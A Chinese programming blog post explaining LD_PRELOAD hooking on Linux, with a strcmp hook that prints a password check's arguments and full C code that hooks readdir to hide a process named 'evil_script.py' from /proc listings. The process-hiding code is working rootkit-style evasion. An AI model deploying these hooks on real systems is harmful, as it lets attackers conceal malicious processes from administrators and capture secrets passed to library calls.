Linux LD_PRELOAD Hook

2023-10-10 11:52
文章标签 linux hook ld preload

本文主要是介绍Linux LD_PRELOAD Hook,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 一、简介
  • 二、hook strcmp
  • 三、hook readdir 实现隐藏进程
  • 参考链接:

一、简介

  loader在进行动态链接的时候,会将有相同符号名的符号覆盖成LD_PRELOAD指定的so文件中的符号。换句话说,可以用我们自己的so库中的函数替换原来库里有的函数,从而达到hook的目的。这和Windows下通过修改import table来hook API很类似。相比较之下,LD_PRELOAD更方便了,都不用自己写代码了,系统的loader会帮我们搞定。但是LD_PRELOAD有个限制:只能hook动态链接的库,对静态链接的库无效,因为静态链接的代码都写到可执行文件里了嘛,没有坑让你填。

二、hook strcmp

  先是受害者,我们的主程序main.c,通过strcmp比较字符串是否相等:

#include <stdio.h>
#include <string.h>int main(int argc, char *argv[])
{if( strcmp(argv[1], "test") ){printf("Incorrect password\n");}else{printf("Correct password\n");}return 0;
}

然后是用来hook的库hook.c:

#include <stdio.h>
#include <string.h>
#include <dlfcn.h>typedef int(*STRCMP)(const char*, const char*);int strcmp(const char *s1, const char *s2)
{static void *handle = NULL;static STRCMP old_strcmp = NULL;if( !handle ){handle = dlopen("libc.so.6", RTLD_LAZY);old_strcmp = (STRCMP)dlsym(handle, "strcmp");}printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);return old_strcmp(s1, s2);
}

因为hook的目标是strcmp,所以typedef了一个STRCMP函数指针。由于hook的目的是要控制函数行为,所以需要从原库libc.so.6中拿到“正版”strcmp指针,保存成old_strcmp以备调用。

Makefile:test: main.c hook.sogcc -o test main.chook.so: hook.cgcc -fPIC -shared -o hook.so hook.c -ldl

执行:

$ LD_PRELOAD=./hook.so ./test 123
hack function invoked. s1=<123> s2=<test>
Incorrect password$ LD_PRELOAD=./hook.so ./test test
hack function invoked. s1=<test> s2=<test>
Correct password

  使用PRE_LOAD劫持库函数的这种做法可以做很多事情,比如劫持随机函数random, random_r等,使得看起来是公平的摇号程序可以自如地由自己控制;比如实现一些高级功能,zlibc就是使用这个技术来做压缩,但是上层应用对其完全无感知;比如紧急fixbug,你可以preload一个函数库来使你的有bug的程序如期运行;比如访问应用程序的内存,做一些你想做的事 😃

LD_PRELOAD hook步骤:

  1. 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等
  2. 将包含替换函数的源码编译为动态链接库
  3. 通过命令 export LD_PRELOAD="库文件路径",设置要优先替换动态链接库
  4. 如果找不替换库,可以通过 export LD_LIBRARY_PATH=库文件所在目录路径,设置系统查找库的目录
  5. 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除
  6. 想查询依赖关系,可以用ldd 程序名称

三、hook readdir 实现隐藏进程

这里直接贴上代码,感兴趣的同学可以参考下面的链接:

  • linux 下隐藏进程的一种方法
  • libprocesshider
#define _GNU_SOURCE#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>/** Every process with this name will be excluded*/
static const char* process_to_filter = "evil_script.py";/** Get a directory name given a DIR* handle*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{int fd = dirfd(dirp);if(fd == -1) {return 0;}char tmp[64];snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);ssize_t ret = readlink(tmp, buf, size);if(ret == -1) {return 0;}buf[ret] = 0;return 1;
}/** Get a process name given its pid*/
static int get_process_name(char* pid, char* buf)
{if(strspn(pid, "0123456789") != strlen(pid)) {return 0;}char tmp[256];snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);FILE* f = fopen(tmp, "r");if(f == NULL) {return 0;}if(fgets(tmp, sizeof(tmp), f) == NULL) {fclose(f);return 0;}fclose(f);int unused;sscanf(tmp, "%d (%[^)]s", &unused, buf);return 1;
}#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \\
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \if(original_##readdir == NULL) {                                    \original_##readdir = dlsym(RTLD_NEXT, "readdir");               \if(original_##readdir == NULL)                                  \{                                                               \fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \}                                                               \}                                                                   \\struct dirent* dir;                                                 \\while(1)                                                            \{                                                                   \dir = original_##readdir(dirp);                                 \if(dir) {                                                       \char dir_name[256];                                         \char process_name[256];                                     \if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \strcmp(dir_name, "/proc") == 0 &&                       \get_process_name(dir->d_name, process_name) &&          \strcmp(process_name, process_to_filter) == 0) {         \continue;                                               \}                                                           \}                                                               \break;                                                          \}                                                                   \return dir;                                                         \
}DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

参考链接:

  • Reverse Engineering with LD_PRELOAD
  • LD_PRELOAD的偷梁换柱之能

这篇关于Linux LD_PRELOAD Hook的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/180261

相关文章

新特性抢先看! Ubuntu 25.04 Beta 发布:Linux 6.14 内核

《新特性抢先看!Ubuntu25.04Beta发布:Linux6.14内核》Canonical公司近日发布了Ubuntu25.04Beta版,这一版本被赋予了一个活泼的代号——“Plu... Canonical 昨日(3 月 27 日)放出了 Beta 版 Ubuntu 25.04 系统镜像,代号“Pluc

Linux安装MySQL的教程

《Linux安装MySQL的教程》:本文主要介绍Linux安装MySQL的教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux安装mysql1.Mysql官网2.我的存放路径3.解压mysql文件到当前目录4.重命名一下5.创建mysql用户组和用户并修

Linux上设置Ollama服务配置(常用环境变量)

《Linux上设置Ollama服务配置(常用环境变量)》本文主要介绍了Linux上设置Ollama服务配置(常用环境变量),Ollama提供了多种环境变量供配置,如调试模式、模型目录等,下面就来介绍一... 目录在 linux 上设置环境变量配置 OllamPOgxSRJfa手动安装安装特定版本查看日志在

Linux系统之主机网络配置方式

《Linux系统之主机网络配置方式》:本文主要介绍Linux系统之主机网络配置方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、查看主机的网络参数1、查看主机名2、查看IP地址3、查看网关4、查看DNS二、配置网卡1、修改网卡配置文件2、nmcli工具【通用

Linux系统之dns域名解析全过程

《Linux系统之dns域名解析全过程》:本文主要介绍Linux系统之dns域名解析全过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、dns域名解析介绍1、DNS核心概念1.1 区域 zone1.2 记录 record二、DNS服务的配置1、正向解析的配置

Linux修改pip和conda缓存路径的几种方法

《Linux修改pip和conda缓存路径的几种方法》在Python生态中,pip和conda是两种常见的软件包管理工具,它们在安装、更新和卸载软件包时都会使用缓存来提高效率,适当地修改它们的缓存路径... 目录一、pip 和 conda 的缓存机制1. pip 的缓存机制默认缓存路径2. conda 的缓

Linux修改pip临时目录方法的详解

《Linux修改pip临时目录方法的详解》在Linux系统中,pip在安装Python包时会使用临时目录(TMPDIR),但默认的临时目录可能会受到存储空间不足或权限问题的影响,所以本文将详细介绍如何... 目录引言一、为什么要修改 pip 的临时目录?1. 解决存储空间不足的问题2. 解决权限问题3. 提

Linux中的进程间通信之匿名管道解读

《Linux中的进程间通信之匿名管道解读》:本文主要介绍Linux中的进程间通信之匿名管道解读,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、基本概念二、管道1、温故知新2、实现方式3、匿名管道(一)管道中的四种情况(二)管道的特性总结一、基本概念我们知道多

Linux中的缓冲区和文件系统详解

《Linux中的缓冲区和文件系统详解》:本文主要介绍Linux中的缓冲区和文件系统方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、FILE结构1、fd2、缓冲区二、文件系统1、固态硬盘2、逻辑地址LBA(一)数据块 Data blocks(二)inode表

Linux系统中配置静态IP地址的详细步骤

《Linux系统中配置静态IP地址的详细步骤》本文详细介绍了在Linux系统中配置静态IP地址的五个步骤,包括打开终端、编辑网络配置文件、配置IP地址、保存并重启网络服务,这对于系统管理员和新手都极具... 目录步骤一:打开终端步骤二:编辑网络配置文件步骤三:配置静态IP地址步骤四:保存并关闭文件步骤五:重